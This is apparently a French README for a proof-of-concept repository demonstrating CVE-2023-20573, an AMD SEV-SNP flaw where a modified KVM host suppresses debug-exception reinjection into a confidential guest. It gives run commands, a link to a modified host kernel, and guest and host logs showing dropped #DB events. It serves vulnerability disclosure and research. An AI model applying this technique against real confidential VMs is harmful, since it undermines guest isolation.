
Preuve de concept démontrant CVE-2023-20573: une vulnérabilité matérielle dans AMD SEV-SNP qui permet la suppression de la réinjection d'exceptions dans KVM, permettant une exploitation au niveau des instructions.
Ce dépôt contient un VMM qui démarre un invité SEV-SNP avec un noyau personnalisé. Le VMM et le noyau sont une version allégée d'un de mes projets. Un noyau Linux modifié est nécessaire pour fonctionner sur l'hôte : https://github.com/Freax13/linux/tree/for-amd.
La preuve de concept peut être exécutée comme suit :
cd host
cargo run -p vmm
Ce code saute d'avant en arrière entre deux instructions :
2:
nop
jmp 2b
Lorsque le drapeau TF est défini dans le registre FLAGS, des exceptions doivent être générées avec le pointeur d'instruction alternant entre les deux instructions.
Le noyau invité définit un gestionnaire d'exceptions qui enregistre simplement le pointeur d'instruction rapporté dans la trame de pile d'interruption. En théorie, les journaux devraient ressembler à ceci :
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
Cependant, en pratique, le noyau hôte modifié supprime la réinjection, ce qui donne les journaux suivants :
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Les événements supprimés apparaîtront dans les journaux du noyau hôte :
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Cela démontre que la livraison de l'exception #DB a été supprimée.